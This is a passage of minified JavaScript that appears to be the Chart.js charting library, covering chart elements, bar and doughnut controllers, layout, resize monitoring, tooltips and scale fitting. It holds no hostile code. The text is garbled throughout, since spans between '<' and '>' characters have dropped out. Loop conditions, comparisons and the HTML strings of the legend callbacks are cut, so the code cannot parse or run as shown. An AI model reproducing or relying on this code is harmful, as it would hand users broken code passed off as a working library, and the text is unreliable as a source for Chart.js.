this.getScaleForId(this._getIndexScaleId())},reset:function(){this.update(!0)},destroy:function(){this._data&&kt(this._data,this)},createMetaDataset:function(){var t=this.datasetElementType;return t&&new t({_chart:this.chart,_datasetIndex:this.index})},createMetaData:function(t){var e=this.dataElementType;return e&&new e({_chart:this.chart,_datasetIndex:this.index,_index:t})},addElements:function(){var t,e,i=this.getMeta(),n=this.getDataset().data||[],a=i.data;for(t=0,e=n.length;ti&&this.insertElements(i,n-i)},insertElements:function(t,e){for(var i=0;is;)a-=2*Math.PI;for(;a=r&&a<=s,d=o>=i.innerRadius&&o<=i.outerRadius;return l&&d}return!1},getCenterPoint:function(){var t=this._view,e=(t.startAngle+t.endAngle)/2,i=(t.innerRadius+t.outerRadius)/2;return{x:t.x+Math.cos(e)*i,y:t.y+Math.sin(e)*i}},getArea:function(){var t=this._view;return Math.PI*((t.endAngle-t.startAngle)/(2*Math.PI))*(Math.pow(t.outerRadius,2)-Math.pow(t.innerRadius,2))},tooltipPosition:function(){var t=this._view,e=t.startAngle+(t.endAngle-t.startAngle)/2,i=(t.outerRadius-t.innerRadius)/2+t.innerRadius;return{x:t.x+Math.cos(e)*i,y:t.y+Math.sin(e)*i}},draw:function(){var t,e=this._chart.ctx,i=this._view,n=i.startAngle,a=i.endAngle,o="inner"===i.borderAlign?.33:0;e.save(),e.beginPath(),e.arc(i.x,i.y,Math.max(i.outerRadius-o,0),n,a),e.arc(i.x,i.y,i.innerRadius,a,n,!0),e.closePath(),e.fillStyle=i.backgroundColor,e.fill(),i.borderWidth&&("inner"===i.borderAlign?(e.beginPath(),t=o/i.outerRadius,e.arc(i.x,i.y,i.outerRadius,n-t,a+t),i.innerRadius>o?(t=o/i.innerRadius,e.arc(i.x,i.y,i.innerRadius-o,a+t,n-t,!0)):e.arc(i.x,i.y,o,a+Math.PI/2,n-Math.PI/2),e.closePath(),e.clip(),e.beginPath(),e.arc(i.x,i.y,i.outerRadius,n,a),e.arc(i.x,i.y,i.innerRadius,a,n,!0),e.closePath(),e.lineWidth=2*i.borderWidth,e.lineJoin="round"):(e.lineWidth=i.borderWidth,e.lineJoin="bevel"),e.strokeStyle=i.borderColor,e.stroke()),e.restore()}}),Ct=ut.valueOrDefault,St=st.global.defaultColor;st._set("global",{elements:{line:{tension:.4,backgroundColor:St,borderWidth:3,borderColor:St,borderCapStyle:"butt",borderDash:[],borderDashOffset:0,borderJoinStyle:"miter",capBezierPoints:!0,fill:!0}}});var Pt=pt.extend({draw:function(){var t,e,i,n,a=this._view,o=this._chart.ctx,r=a.spanGaps,s=this._children.slice(),l=st.global,d=l.elements.line,u=-1;for(this._loop&&s.length&&s.push(s[0]),o.save(),o.lineCap=a.borderCapStyle||d.borderCapStyle,o.setLineDash&&o.setLineDash(a.borderDash||d.borderDash),o.lineDashOffset=Ct(a.borderDashOffset,d.borderDashOffset),o.lineJoin=a.borderJoinStyle||d.borderJoinStyle,o.lineWidth=Ct(a.borderWidth,d.borderWidth),o.strokeStyle=a.borderColor||l.defaultColor,o.beginPath(),u=-1,t=0;tt.x&&(e=Ot(e,"left","right")):t.basei?i:n,r:l.right||a<0?0:a>e?e:a,b:l.bottom||o<0?0:o>i?i:o,l:l.left||r<0?0:r>e?e:r}}function Bt(t,e,i){var n=null===e,a=null===i,o=!(!t||n&&a)&&Rt(t);return o&&(n||e>=o.left&&e<=o.right)&&(a||i>=o.top&&i<=o.bottom)}st._set("global",{elements:{rectangle:{backgroundColor:Ft,borderColor:Ft,borderSkipped:"bottom",borderWidth:0}}});var Nt=pt.extend({draw:function(){var t=this._chart.ctx,e=this._view,i=function(t){var e=Rt(t),i=e.right-e.left,n=e.bottom-e.top,a=zt(t,i/2,n/2);return{outer:{x:e.left,y:e.top,w:i,h:n},inner:{x:e.left+a.l,y:e.top+a.t,w:i-a.l-a.r,h:n-a.t-a.b}}}(e),n=i.outer,a=i.inner;t.fillStyle=e.backgroundColor,t.fillRect(n.x,n.y,n.w,n.h),n.w===a.w&&n.h===a.h||(t.save(),t.beginPath(),t.rect(n.x,n.y,n.w,n.h),t.clip(),t.fillStyle=e.borderColor,t.rect(a.x,a.y,a.w,a.h),t.fill("evenodd"),t.restore())},height:function(){var t=this._view;return t.base-t.y},inRange:function(t,e){return Bt(this._view,t,e)},inLabelRange:function(t,e){var i=this._view;return Lt(i)?Bt(i,t,null):Bt(i,null,e)},inXRange:function(t){return Bt(this._view,t,null)},inYRange:function(t){return Bt(this._view,null,t)},getCenterPoint:function(){var t,e,i=this._view;return Lt(i)?(t=i.x,e=(i.y+i.base)/2):(t=(i.x+i.base)/2,e=i.y),{x:t,y:e}},getArea:function(){var t=this._view;return Lt(t)?t.width*Math.abs(t.y-t.base):t.height*Math.abs(t.x-t.base)},tooltipPosition:function(){var t=this._view;return{x:t.x,y:t.y}}}),Wt={},Vt=_t,Et=Pt,Ht=Tt,jt=Nt;Wt.Arc=Vt,Wt.Line=Et,Wt.Point=Ht,Wt.Rectangle=jt;var qt=ut.options.resolve;st._set("bar",{hover:{mode:"label"},scales:{xAxes:[{type:"category",categoryPercentage:.8,barPercentage:.9,offset:!0,gridLines:{offsetGridLines:!0}}],yAxes:[{type:"linear"}]}});var Yt=Mt.extend({dataElementType:Wt.Rectangle,initialize:function(){var t;Mt.prototype.initialize.apply(this,arguments),(t=this.getMeta()).stack=this.getDataset().stack,t.bar=!0},update:function(t){var e,i,n=this.getMeta().data;for(this._ruler=this.getRuler(),e=0,i=n.length;e0?Math.min(r,n-i):r,i=n;return r}(i,l):-1,pixels:l,start:r,end:s,stackCount:n,scale:i}},calculateBarValuePixels:function(t,e){var i,n,a,o,r,s,l=this.chart,d=this.getMeta(),u=this._getValueScale(),h=u.isHorizontal(),c=l.data.datasets,f=+u.getRightValue(c[t].data[e]),g=u.options.minBarLength,p=u.options.stacked,m=d.stack,v=0;if(p||void 0===p&&void 0!==m)for(i=0;i=0&&a>0)&&(v+=a));return o=u.getPixelForValue(v),s=(r=u.getPixelForValue(v+f))-o,void 0!==g&&Math.abs(s)=0&&!h||f<0&&h?o-g:o+g),{size:s,base:o,head:r,center:r+s/2}},calculateBarIndexPixels:function(t,e,i){var n=i.scale.options,a="flex"===n.barThickness?function(t,e,i){var n,a=e.pixels,o=a[t],r=t>0?a[t-1]:null,s=t');var i=t.data,n=i.datasets,a=i.labels;if(n.length)for(var o=0;o'),a[o]&&e.push(a[o]),e.push("");return e.push(""),e.join("")},legend:{labels:{generateLabels:function(t){var e=t.data;return e.labels.length&&e.datasets.length?e.labels.map(function(i,n){var a=t.getDatasetMeta(0),o=e.datasets[0],r=a.data[n],s=r&&r.custom||{},l=t.options.elements.arc;return{text:i,fillStyle:Gt([s.backgroundColor,o.backgroundColor,l.backgroundColor],void 0,n),strokeStyle:Gt([s.borderColor,o.borderColor,l.borderColor],void 0,n),lineWidth:Gt([s.borderWidth,o.borderWidth,l.borderWidth],void 0,n),hidden:isNaN(o.data[n])||a.data[n].hidden,index:n}}):[]}},onClick:function(t,e){var i,n,a,o=e.index,r=this.chart;for(i=0,n=(r.data.datasets||[]).length;i=Math.PI?-1:m<-Math.PI?1:0))+g,b={x:Math.cos(m),y:Math.sin(m)},x={x:Math.cos(v),y:Math.sin(v)},y=m<=0&&v>=0||m<=2*Math.PI&&2*Math.PI<=v,k=m<=.5*Math.PI&&.5*Math.PI<=v||m<=2.5*Math.PI&&2.5*Math.PI<=v,w=m<=-Math.PI&&-Math.PI<=v||m<=Math.PI&&Math.PI<=v,M=m<=.5*-Math.PI&&.5*-Math.PI<=v||m<=1.5*Math.PI&&1.5*Math.PI<=v,_=f/100,C={x:w?-1:Math.min(b.x*(b.x<0?1:_),x.x*(x.x<0?1:_)),y:M?-1:Math.min(b.y*(b.y<0?1:_),x.y*(x.y<0?1:_))},S={x:y?1:Math.max(b.x*(b.x>0?1:_),x.x*(x.x>0?1:_)),y:k?1:Math.max(b.y*(b.y>0?1:_),x.y*(x.y>0?1:_))},P={width:.5*(S.x-C.x),height:.5*(S.y-C.y)};d=Math.min(s/P.width,l/P.height),u={x:-.5*(S.x+C.x),y:-.5*(S.y+C.y)}}for(e=0,i=c.length;e0&&!isNaN(t)?2*Math.PI*(Math.abs(t)/e):0},getMaxBorderWidth:function(t){var e,i,n,a,o,r,s,l,d=0,u=this.chart;if(!t)for(e=0,i=u.data.datasets.length;e(d=s>d?s:d)?l:d);return d},setHoverStyle:function(t){var e=t._model,i=t._options,n=ut.getHoverColor;t.$previousStyle={backgroundColor:e.backgroundColor,borderColor:e.borderColor,borderWidth:e.borderWidth},e.backgroundColor=Zt(i.hoverBackgroundColor,n(i.backgroundColor)),e.borderColor=Zt(i.hoverBorderColor,n(i.borderColor)),e.borderWidth=Zt(i.hoverBorderWidth,i.borderWidth)},_resolveElementOptions:function(t,e){var i,n,a,o=this.chart,r=this.getDataset(),s=t.custom||{},l=o.options.elements.arc,d={},u={chart:o,dataIndex:e,dataset:r,datasetIndex:this.index},h=["backgroundColor","borderColor","borderWidth","borderAlign","hoverBackgroundColor","hoverBorderColor","hoverBorderWidth"];for(i=0,n=h.length;i0&&ee(l[t-1]._model,s)&&(i.controlPointPreviousX=d(i.controlPointPreviousX,s.left,s.right),i.controlPointPreviousY=d(i.controlPointPreviousY,s.top,s.bottom)),t');var i=t.data,n=i.datasets,a=i.labels;if(n.length)for(var o=0;o'),a[o]&&e.push(a[o]),e.push("");return e.push(""),e.join("")},legend:{labels:{generateLabels:function(t){var e=t.data;return e.labels.length&&e.datasets.length?e.labels.map(function(i,n){var a=t.getDatasetMeta(0),o=e.datasets[0],r=a.data[n].custom||{},s=t.options.elements.arc;return{text:i,fillStyle:ae([r.backgroundColor,o.backgroundColor,s.backgroundColor],void 0,n),strokeStyle:ae([r.borderColor,o.borderColor,s.borderColor],void 0,n),lineWidth:ae([r.borderWidth,o.borderWidth,s.borderWidth],void 0,n),hidden:isNaN(o.data[n])||a.data[n].hidden,index:n}}):[]}},onClick:function(t,e){var i,n,a,o=e.index,r=this.chart;for(i=0,n=(r.data.datasets||[]).length;i0&&(o=t.getDatasetMeta(o[0]._datasetIndex).data),o},"x-axis":function(t,e){return me(t,e,{intersect:!1})},point:function(t,e){return fe(t,he(e,t))},nearest:function(t,e,i){var n=he(e,t);i.axis=i.axis||"xy";var a=pe(i.axis);return ge(t,n,i.intersect,a)},x:function(t,e,i){var n=he(e,t),a=[],o=!1;return ce(t,function(t){t.inXRange(n.x)&&a.push(t),t.inRange(n.x,n.y)&&(o=!0)}),i.intersect&&!o&&(a=[]),a},y:function(t,e,i){var n=he(e,t),a=[],o=!1;return ce(t,function(t){t.inYRange(n.y)&&a.push(t),t.inRange(n.x,n.y)&&(o=!0)}),i.intersect&&!o&&(a=[]),a}}};function be(t,e){return ut.where(t,function(t){return t.position===e})}function xe(t,e){t.forEach(function(t,e){return t._tmpIndex_=e,t}),t.sort(function(t,i){var n=e?i:t,a=e?t:i;return n.weight===a.weight?n._tmpIndex_-a._tmpIndex_:n.weight-a.weight}),t.forEach(function(t){delete t._tmpIndex_})}function ye(t,e){ut.each(t,function(t){e[t.position]+=t.isHorizontal()?t.height:t.width})}st._set("global",{layout:{padding:{top:0,right:0,bottom:0,left:0}}});var ke={defaults:{},addBox:function(t,e){t.boxes||(t.boxes=[]),e.fullWidth=e.fullWidth||!1,e.position=e.position||"top",e.weight=e.weight||0,t.boxes.push(e)},removeBox:function(t,e){var i=t.boxes?t.boxes.indexOf(e):-1;-1!==i&&t.boxes.splice(i,1)},configure:function(t,e,i){for(var n,a=["fullWidth","position","weight"],o=a.length,r=0;rdiv{position:absolute;width:1000000px;height:1000000px;left:0;top:0}.chartjs-size-monitor-shrink>div{position:absolute;width:200%;height:200%;left:0;top:0}"}))&&we.default||we,_e="$chartjs",Ce="chartjs-size-monitor",Se="chartjs-render-monitor",Pe="chartjs-render-animation",Ie=["animationstart","webkitAnimationStart"],Ae={touchstart:"mousedown",touchmove:"mousemove",touchend:"mouseup",pointerenter:"mouseenter",pointerdown:"mousedown",pointermove:"mousemove",pointerup:"mouseup",pointerleave:"mouseout",pointerout:"mouseout"};function De(t,e){var i=ut.getStyle(t,e),n=i&&i.match(/^(\d+)(\.\d+)?px$/);return n?Number(n[1]):void 0}var Te=!!function(){var t=!1;try{var e=Object.defineProperty({},"passive",{get:function(){t=!0}});window.addEventListener("e",null,e)}catch(t){}return t}()&&{passive:!0};function Fe(t,e,i){t.addEventListener(e,i,Te)}function Le(t,e,i){t.removeEventListener(e,i,Te)}function Re(t,e,i,n,a){return{type:t,chart:e,native:a||null,x:void 0!==i?i:null,y:void 0!==n?n:null}}function Oe(t){var e=document.createElement("div");return e.className=t||"",e}function ze(t,e,i){var n,a,o,r,s=t[_e]||(t[_e]={}),l=s.resizer=function(t){var e=Oe(Ce),i=Oe(Ce+"-expand"),n=Oe(Ce+"-shrink");i.appendChild(Oe()),n.appendChild(Oe()),e.appendChild(i),e.appendChild(n),e._reset=function(){i.scrollLeft=1e6,i.scrollTop=1e6,n.scrollLeft=1e6,n.scrollTop=1e6};var a=function(){e._reset(),t()};return Fe(i,"scroll",a.bind(i,"expand")),Fe(n,"scroll",a.bind(n,"shrink")),e}((n=function(){if(s.resizer){var n=i.options.maintainAspectRatio&&t.parentNode,a=n?n.clientWidth:0;e(Re("resize",i)),n&&n.clientWidth0){var o=t[0];o.label?i=o.label:o.xLabel?i=o.xLabel:a>0&&o.index-1?t.split("\n"):t}function Xe(t){var e=st.global;return{xPadding:t.xPadding,yPadding:t.yPadding,xAlign:t.xAlign,yAlign:t.yAlign,bodyFontColor:t.bodyFontColor,_bodyFontFamily:je(t.bodyFontFamily,e.defaultFontFamily),_bodyFontStyle:je(t.bodyFontStyle,e.defaultFontStyle),_bodyAlign:t.bodyAlign,bodyFontSize:je(t.bodyFontSize,e.defaultFontSize),bodySpacing:t.bodySpacing,titleFontColor:t.titleFontColor,_titleFontFamily:je(t.titleFontFamily,e.defaultFontFamily),_titleFontStyle:je(t.titleFontStyle,e.defaultFontStyle),titleFontSize:je(t.titleFontSize,e.defaultFontSize),_titleAlign:t.titleAlign,titleSpacing:t.titleSpacing,titleMarginBottom:t.titleMarginBottom,footerFontColor:t.footerFontColor,_footerFontFamily:je(t.footerFontFamily,e.defaultFontFamily),_footerFontStyle:je(t.footerFontStyle,e.defaultFontStyle),footerFontSize:je(t.footerFontSize,e.defaultFontSize),_footerAlign:t.footerAlign,footerSpacing:t.footerSpacing,footerMarginTop:t.footerMarginTop,caretSize:t.caretSize,cornerRadius:t.cornerRadius,backgroundColor:t.backgroundColor,opacity:0,legendColorBackground:t.multiKeyBackground,displayColors:t.displayColors,borderColor:t.borderColor,borderWidth:t.borderWidth}}function Ke(t,e){return"center"===e?t.x+t.width/2:"right"===e?t.x+t.width-t.xPadding:t.x+t.xPadding}function Ge(t){return Ye([],Ue(t))}var Ze=pt.extend({initialize:function(){this._model=Xe(this._options),this._lastActive=[]},getTitle:function(){var t=this._options.callbacks,e=t.beforeTitle.apply(this,arguments),i=t.title.apply(this,arguments),n=t.afterTitle.apply(this,arguments),a=[];return a=Ye(a,Ue(e)),a=Ye(a,Ue(i)),a=Ye(a,Ue(n))},getBeforeBody:function(){return Ge(this._options.callbacks.beforeBody.apply(this,arguments))},getBody:function(t,e){var i=this,n=i._options.callbacks,a=[];return ut.each(t,function(t){var o={before:[],lines:[],after:[]};Ye(o.before,Ue(n.beforeLabel.call(i,t,e))),Ye(o.lines,n.label.call(i,t,e)),Ye(o.after,Ue(n.afterLabel.call(i,t,e))),a.push(o)}),a},getAfterBody:function(){return Ge(this._options.callbacks.afterBody.apply(this,arguments))},getFooter:function(){var t=this._options.callbacks,e=t.beforeFooter.apply(this,arguments),i=t.footer.apply(this,arguments),n=t.afterFooter.apply(this,arguments),a=[];return a=Ye(a,Ue(e)),a=Ye(a,Ue(i)),a=Ye(a,Ue(n))},update:function(t){var e,i,n,a,o,r,s,l,d,u,h=this,c=h._options,f=h._model,g=h._model=Xe(c),p=h._active,m=h._data,v={xAlign:f.xAlign,yAlign:f.yAlign},b={x:f.x,y:f.y},x={width:f.width,height:f.height},y={x:f.caretX,y:f.caretY};if(p.length){g.opacity=1;var k=[],w=[];y=qe[c.position].call(h,p,h._eventPosition);var M=[];for(e=0,i=p.length;en.width&&(a=n.width-e.width),a<0&&(a=0)),"top"===u?o+=h:o-="bottom"===u?e.height+h:e.height/2,"center"===u?"left"===d?a+=h:"right"===d&&(a-=h):"left"===d?a-=c:"right"===d&&(a+=c),{x:a,y:o}}(g,x,v=function(t,e){var i,n,a,o,r,s=t._model,l=t._chart,d=t._chart.chartArea,u="center",h="center";s.yl.height-e.height&&(h="bottom");var c=(d.left+d.right)/2,f=(d.top+d.bottom)/2;"center"===h?(i=function(t){return t<=c},n=function(t){return t>c}):(i=function(t){return t<=e.width/2},n=function(t){return t>=l.width-e.width/2}),a=function(t){return t+e.width+s.caretSize+s.caretPadding>l.width},o=function(t){return t-e.width-s.caretSize-s.caretPadding<0},r=function(t){return t<=f?"top":"bottom"},i(s.x)?(u="left",a(s.x)&&(u="center",h=r(s.y))):n(s.x)&&(u="right",o(s.x)&&(u="center",h=r(s.y)));var g=t._options;return{xAlign:g.xAlign?g.xAlign:u,yAlign:g.yAlign?g.yAlign:h}}(this,x),h._chart)}else g.opacity=0;return g.xAlign=v.xAlign,g.yAlign=v.yAlign,g.x=b.x,g.y=b.y,g.width=x.width,g.height=x.height,g.caretX=y.x,g.caretY=y.y,h._model=g,t&&c.custom&&c.custom.call(h,g),h},drawCaret:function(t,e){var i=this._chart.ctx,n=this._view,a=this.getCaretPosition(t,e,n);i.lineTo(a.x1,a.y1),i.lineTo(a.x2,a.y2),i.lineTo(a.x3,a.y3)},getCaretPosition:function(t,e,i){var n,a,o,r,s,l,d=i.caretSize,u=i.cornerRadius,h=i.xAlign,c=i.yAlign,f=t.x,g=t.y,p=e.width,m=e.height;if("center"===c)s=g+m/2,"left"===h?(a=(n=f)-d,o=n,r=s+d,l=s-d):(a=(n=f+p)+d,o=n,r=s-d,l=s+d);else if("left"===h?(n=(a=f+u+d)-d,o=a+d):"right"===h?(n=(a=f+p-u-d)-d,o=a+d):(n=(a=i.caretX)-d,o=a+d),"top"===c)s=(r=g)-d,l=r;else{s=(r=g+m)+d,l=r;var v=o;o=n,n=v}return{x1:n,x2:a,x3:o,y1:r,y2:s,y3:l}},drawTitle:function(t,e,i){var n=e.title;if(n.length){t.x=Ke(e,e._titleAlign),i.textAlign=e._titleAlign,i.textBaseline="top";var a,o,r=e.titleFontSize,s=e.titleSpacing;for(i.fillStyle=e.titleFontColor,i.font=ut.fontString(r,e._titleFontStyle,e._titleFontFamily),a=0,o=n.length;a0&&i.stroke()},draw:function(){var t=this._chart.ctx,e=this._view;if(0!==e.opacity){var i={width:e.width,height:e.height},n={x:e.x,y:e.y},a=Math.abs(e.opacity<.001)?0:e.opacity,o=e.title.length||e.beforeBody.length||e.body.length||e.afterBody.length||e.footer.length;this._options.enabled&&o&&(t.save(),t.globalAlpha=a,this.drawBackground(n,e,t,i),n.y+=e.yPadding,this.drawTitle(n,e,t),this.drawBody(n,e,t),this.drawFooter(n,e,t),t.restore())}},handleEvent:function(t){var e,i=this,n=i._options;return i._lastActive=i._lastActive||[],"mouseout"===t.type?i._active=[]:i._active=i._chart.getElementsAtEventForMode(t,n.mode,n),(e=!ut.arrayEquals(i._active,i._lastActive))&&(i._lastActive=i._active,(n.enabled||n.custom)&&(i._eventPosition={x:t.x,y:t.y},i.update(!0),i.pivot())),e}}),$e=qe,Je=Ze;Je.positioners=$e;var Qe=ut.valueOrDefault;function ti(){return ut.merge({},[].slice.call(arguments),{merger:function(t,e,i,n){if("xAxes"===t||"yAxes"===t){var a,o,r,s=i[t].length;for(e[t]||(e[t]=[]),a=0;a=e[t].length&&e[t].push({}),!e[t][a].type||r.type&&r.type!==e[t][a].type?ut.merge(e[t][a],[He.getScaleDefaults(o),r]):ut.merge(e[t][a],r)}else ut._merger(t,e,i,n)}})}function ei(){return ut.merge({},[].slice.call(arguments),{merger:function(t,e,i,n){var a=e[t]||{},o=i[t];"scales"===t?e[t]=ti(a,o):"scale"===t?e[t]=ut.merge(a,[He.getScaleDefaults(o.type),o]):ut._merger(t,e,i,n)}})}function ii(t){return"top"===t||"bottom"===t}st._set("global",{elements:{},events:["mousemove","mouseout","click","touchstart","touchmove"],hover:{onHover:null,mode:"nearest",intersect:!0,animationDuration:400},onClick:null,maintainAspectRatio:!0,responsive:!0,responsiveAnimationDuration:0});var ni=function(t,e){return this.construct(t,e),this};ut.extend(ni.prototype,{construct:function(t,e){var i=this;e=function(t){var e=(t=t||{}).data=t.data||{};return e.datasets=e.datasets||[],e.labels=e.labels||[],t.options=ei(st.global,st[t.type],t.options||{}),t}(e);var n=Ve.acquireContext(t,e),a=n&&n.canvas,o=a&&a.height,r=a&&a.width;i.id=ut.uid(),i.ctx=n,i.canvas=a,i.config=e,i.width=r,i.height=o,i.aspectRatio=o?r/o:null,i.options=e.options,i._bufferedRender=!1,i.chart=i,i.controller=i,ni.instances[i.id]=i,Object.defineProperty(i,"data",{get:function(){return i.config.data},set:function(t){i.config.data=t}}),n&&a?(i.initialize(),i.update()):console.error("Failed to create chart: can't acquire context from the given item")},initialize:function(){var t=this;return Ee.notify(t,"beforeInit"),ut.retinaScale(t,t.options.devicePixelRatio),t.bindEvents(),t.options.responsive&&t.resize(!0),t.ensureScalesHaveIDs(),t.buildOrUpdateScales(),t.initToolTip(),Ee.notify(t,"afterInit"),t},clear:function(){return ut.canvas.clear(this),this},stop:function(){return bt.cancelAnimation(this),this},resize:function(t){var e=this,i=e.options,n=e.canvas,a=i.maintainAspectRatio&&e.aspectRatio||null,o=Math.max(0,Math.floor(ut.getMaximumWidth(n))),r=Math.max(0,Math.floor(a?o/a:ut.getMaximumHeight(n)));if((e.width!==o||e.height!==r)&&(n.width=e.width=o,n.height=e.height=r,n.style.width=o+"px",n.style.height=r+"px",ut.retinaScale(e,i.devicePixelRatio),!t)){var s={width:o,height:r};Ee.notify(e,"resize",[s]),i.onResize&&i.onResize(e,s),e.stop(),e.update({duration:i.responsiveAnimationDuration})}},ensureScalesHaveIDs:function(){var t=this.options,e=t.scales||{},i=t.scale;ut.each(e.xAxes,function(t,e){t.id=t.id||"x-axis-"+e}),ut.each(e.yAxes,function(t,e){t.id=t.id||"y-axis-"+e}),i&&(i.id=i.id||"scale")},buildOrUpdateScales:function(){var t=this,e=t.options,i=t.scales||{},n=[],a=Object.keys(i).reduce(function(t,e){return t[e]=!1,t},{});e.scales&&(n=n.concat((e.scales.xAxes||[]).map(function(t){return{options:t,dtype:"category",dposition:"bottom"}}),(e.scales.yAxes||[]).map(function(t){return{options:t,dtype:"linear",dposition:"left"}}))),e.scale&&n.push({options:e.scale,dtype:"radialLinear",isDefault:!0,dposition:"chartArea"}),ut.each(n,function(e){var n=e.options,o=n.id,r=Qe(n.type,e.dtype);ii(n.position)!==ii(e.dposition)&&(n.position=e.dposition),a[o]=!0;var s=null;if(o in i&&i[o].type===r)(s=i[o]).options=n,s.ctx=t.ctx,s.chart=t;else{var l=He.getScaleConstructor(r);if(!l)return;s=new l({id:o,type:r,options:n,ctx:t.ctx,chart:t}),i[s.id]=s}s.mergeTicksOptions(),e.isDefault&&(t.scale=s)}),ut.each(a,function(t,e){t||delete i[e]}),t.scales=i,He.addScalesToLayout(this)},buildOrUpdateControllers:function(){var t=this,e=[];return ut.each(t.data.datasets,function(i,n){var a=t.getDatasetMeta(n),o=i.type||t.config.type;if(a.type&&a.type!==o&&(t.destroyDatasetMeta(n),a=t.getDatasetMeta(n)),a.type=o,a.controller)a.controller.updateIndex(n),a.controller.linkScales();else{var r=ue[a.type];if(void 0===r)throw new Error('"'+a.type+'" is not a chart type.');a.controller=new r(t,n),e.push(a.controller)}},t),e},resetElements:function(){var t=this;ut.each(t.data.datasets,function(e,i){t.getDatasetMeta(i).controller.reset()},t)},reset:function(){this.resetElements(),this.tooltip.initialize()},update:function(t){var e,i,n=this;if(t&&"object"==typeof t||(t={duration:t,lazy:arguments[1]}),i=(e=n).options,ut.each(e.scales,function(t){ke.removeBox(e,t)}),i=ei(st.global,st[e.config.type],i),e.options=e.config.options=i,e.ensureScalesHaveIDs(),e.buildOrUpdateScales(),e.tooltip._options=i.tooltips,e.tooltip.initialize(),Ee._invalidate(n),!1!==Ee.notify(n,"beforeUpdate")){n.tooltip._data=n.data;var a=n.buildOrUpdateControllers();ut.each(n.data.datasets,function(t,e){n.getDatasetMeta(e).controller.buildOrUpdateElements()},n),n.updateLayout(),n.options.animation&&n.options.animation.duration&&ut.each(a,function(t){t.reset()}),n.updateDatasets(),n.tooltip.initialize(),n.lastActive=[],Ee.notify(n,"afterUpdate"),n._bufferedRender?n._bufferedRequest={duration:t.duration,easing:t.easing,lazy:t.lazy}:n.render(t)}},updateLayout:function(){!1!==Ee.notify(this,"beforeLayout")&&(ke.update(this,this.width,this.height),Ee.notify(this,"afterScaleUpdate"),Ee.notify(this,"afterLayout"))},updateDatasets:function(){if(!1!==Ee.notify(this,"beforeDatasetsUpdate")){for(var t=0,e=this.data.datasets.length;t=0;--i)e.isDatasetVisible(i)&&e.drawDataset(i,t);Ee.notify(e,"afterDatasetsDraw",[t])}},drawDataset:function(t,e){var i=this.getDatasetMeta(t),n={meta:i,index:t,easingValue:e};!1!==Ee.notify(this,"beforeDatasetDraw",[n])&&(i.controller.draw(e),Ee.notify(this,"afterDatasetDraw",[n]))},_drawTooltip:function(t){var e=this.tooltip,i={tooltip:e,easingValue:t};!1!==Ee.notify(this,"beforeTooltipDraw",[i])&&(e.draw(),Ee.notify(this,"afterTooltipDraw",[i]))},getElementAtEvent:function(t){return ve.modes.single(this,t)},getElementsAtEvent:function(t){return ve.modes.label(this,t,{intersect:!0})},getElementsAtXAxis:function(t){return ve.modes["x-axis"](this,t,{intersect:!0})},getElementsAtEventForMode:function(t,e,i){var n=ve.modes[e];return"function"==typeof n?n(this,t,i):[]},getDatasetAtEvent:function(t){return ve.modes.dataset(this,t,{intersect:!0})},getDatasetMeta:function(t){var e=this.data.datasets[t];e._meta||(e._meta={});var i=e._meta[this.id];return i||(i=e._meta[this.id]={type:null,data:[],dataset:null,controller:null,hidden:null,xAxisID:null,yAxisID:null}),i},getVisibleDatasetCount:function(){for(var t=0,e=0,i=this.data.datasets.length;e3?i[2]-i[1]:i[1]-i[0];Math.abs(n)>1&&t!==Math.floor(t)&&(n=t-Math.floor(t));var a=ut.log10(Math.abs(n)),o="";if(0!==t)if(Math.max(Math.abs(i[0]),Math.abs(i[i.length-1]))<1e-4){var r=ut.log10(Math.abs(t));o=t.toExponential(Math.floor(r)-Math.floor(a))}else{var s=-1*Math.floor(a);s=Math.max(Math.min(s,20),0),o=t.toFixed(s)}else o="0";return o},logarithmic:function(t,e,i){var n=t/Math.pow(10,Math.floor(ut.log10(t)));return 0===t?"0":1===n||2===n||5===n||0===e||e===i.length-1?t.toExponential():""}}},di=ut.valueOrDefault,ui=ut.valueAtIndexOrDefault;function hi(t){var e,i,n=[];for(e=0,i=t.length;ed&&ot.maxHeight){o--;break}o++,l=r*s}t.labelRotation=o},afterCalculateTickRotation:function(){ut.callback(this.options.afterCalculateTickRotation,[this])},beforeFit:function(){ut.callback(this.options.beforeFit,[this])},fit:function(){var t=this,e=t.minSize={width:0,height:0},i=hi(t._ticks),n=t.options,a=n.ticks,o=n.scaleLabel,r=n.gridLines,s=t._isVisible(),l=n.position,d=t.isHorizontal(),u=ut.options._parseFont,h=u(a),c=n.gridLines.tickMarkLength;if(e.width=d?t.isFullWidth()?t.maxWidth-t.margins.left-t.margins.right:t.maxWidth:s&&r.drawTicks?c:0,e.height=d?s&&r.drawTicks?c:0:t.maxHeight,o.display&&s){var f=u(o),g=ut.options.toPadding(o.padding),p=f.lineHeight+g.height;d?e.height+=p:e.width+=p}if(a.display&&s){var m=ut.longestText(t.ctx,h.string,i,t.longestTextCache),v=ut.numberOfLabelLines(i),b=.5*h.size,x=t.options.ticks.padding;if(t._maxLabelLines=v,t.longestLabelWidth=m,d){var y=ut.toRadians(t.labelRotation),k=Math.cos(y),w=Math.sin(y)*m+h.lineHeight*v+b;e.height=Math.min(t.maxHeight,e.height+w+x),t.ctx.font=h.string;var M,_,C=ci(t.ctx,i[0],h.string),S=ci(t.ctx,i[i.length-1],h.string),P=t.getPixelForTick(0)-t.left,I=t.right-t.getPixelForTick(i.length-1);0!==t.labelRotation?(M="bottom"===l?k*C:k*b,_="bottom"===l?k*b:k*S):(M=C/2,_=S/2),t.paddingLeft=Math.max(M-P,0)+3,t.paddingRight=Math.max(_-I,0)+3}else a.mirror?m=0:m+=x+b,e.width=Math.min(t.maxWidth,e.width+m),t.paddingTop=h.size/2,t.paddingBottom=h.size/2}t.handleMargins(),t.width=e.width,t.height=e.height},handleMargins:function(){var t=this;t.margins&&(t.paddingLeft=Math.max(t.paddingLeft-t.margins.left,0),t.paddingTop=Math.max(t.paddingTop-t.margins.top,0),t.paddingRight=Math.max(t.paddingRight-t.margins.right,0),t.paddingBottom=Math.max(t.paddingBottom-t.margins.bottom,0))},afterFit:function(){ut.callback(this.options.afterFit,[this])},isHorizontal:function(){return"top"===this.options.position||"bottom"===this.options.position},isFullWidth:function(){return this.options.fullWidth},getRightValue:function(t){if(ut.isNullOrUndef(t))return NaN;if(("number"==typeof t||t instanceof Number)&&!isFinite(t))return NaN;if(t)if(this.isHorizontal()){if(void 0!==t.x)return this.getRightValue(t.x)}else if(void 0!==t.y)return this.getRightValue(t.y);return t},getLabelForIndex:ut.noop,getPixelForValue:ut.noop,getValueForPixel:ut.noop,getPixelForTick:function(t){var 